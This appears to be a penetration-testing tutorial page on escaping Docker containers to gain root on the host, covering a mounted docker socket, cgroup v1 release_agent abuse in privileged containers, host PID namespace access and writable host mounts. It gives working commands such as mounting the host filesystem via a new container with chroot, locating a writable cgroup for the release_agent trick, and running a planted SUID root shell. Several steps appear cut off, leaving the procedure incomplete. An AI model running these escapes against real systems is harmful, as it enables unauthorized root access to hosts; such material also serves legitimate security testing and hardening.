Docker Container Escape and Host Privilege Escalation
5 min readApr 24, 2026
Docker containers share the host kernel. Several misconfigurations allow escaping the container namespace to gain root on the host: the docker socket mounted inside the container, privileged mode, host PID namespace access, and cgroup v1 release_agent abuse. Confirm which scenario applies before choosing a technique.
Prerequisites Check
Determine whether you are inside a container or on the host:
The most common misconfiguration. When /var/run/docker.sock is mounted inside the container, you have full control of the Docker daemon running as root on the host.
Check if the socket is present:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ls -la /var/run/docker.sock
┌──(kali㉿kali)-[~]
└─$find / -name "docker.sock" 2>/dev/null
If present and readable, mount the host filesystem via a new container:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# Check if docker CLI is available
┌──(kali㉿kali)-[~]
└─$docker version 2>/dev/null
┌──(kali㉿kali)-[~]
└─$# If docker CLI is present
┌──(kali㉿kali)-[~]
└─$docker run -v /:/host -it alpine chroot /host /bin/bash
If docker CLI is not in the container but the socket is accessible, use the Docker API directly via curl:
In privileged containers on hosts using cgroup v1, you can write to the release_agent file — a script executed by the host kernel as root when a cgroup becomes empty.
Check if cgroup v1 is available and writable:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$cat /proc/1/cgroup
┌──(kali㉿kali)-[~]
└─$# Look for: 0::/
┌──(kali㉿kali)-[~]
└─$# Check if we have a mounted cgroup hierarchy
┌──(kali㉿kali)-[~]
└─$mount | grep cgroup
┌──(kali㉿kali)-[~]
└─$ls /sys/fs/cgroup/
Exploit:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# Find a writable cgroup mount
┌──(kali㉿kali)-[~]
└─$d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
After the release_agent fires, /tmp/.rootbash on the host has the SUID bit set. Exit the container and run it:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$/tmp/.rootbash -p
Technique 4 — --pid=host Namespace Access
If the container was started with --pid=host, it shares the host's PID namespace. You can see and interact with all host processes including root processes.
Check:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$ls /proc/ | wc -l
┌──(kali㉿kali)-[~]
└─$# Very large number = host PID namespace
┌──(kali㉿kali)-[~]
└─$ps aux | grep root | head -10
Inject into a root process using nsenter:
kali㉿kali: ~
┌──(kali㉿kali)-[~]
└─$# Find a root process PID
┌──(kali㉿kali)-[~]
└─$ps aux | grep root | grep -v "\[" | awk '{print $2}' | head -5
If a sensitive host path is mounted into the container with write access — /etc, /home, /opt — modify files there that affect host execution. For example, write to /etc/cron.d/ if it is mounted writable.
Control group hierarchy and release_agent behavior.
Was this helpful?
Your feedback helps improve this page.
Sorry about that
What was not helpful?
We use cookies to enhance your experience
We use cookies to improve your browsing experience, analyze site traffic, and personalize content. By clicking "Accept All", you consent to our use of cookies.
Privacy Policy.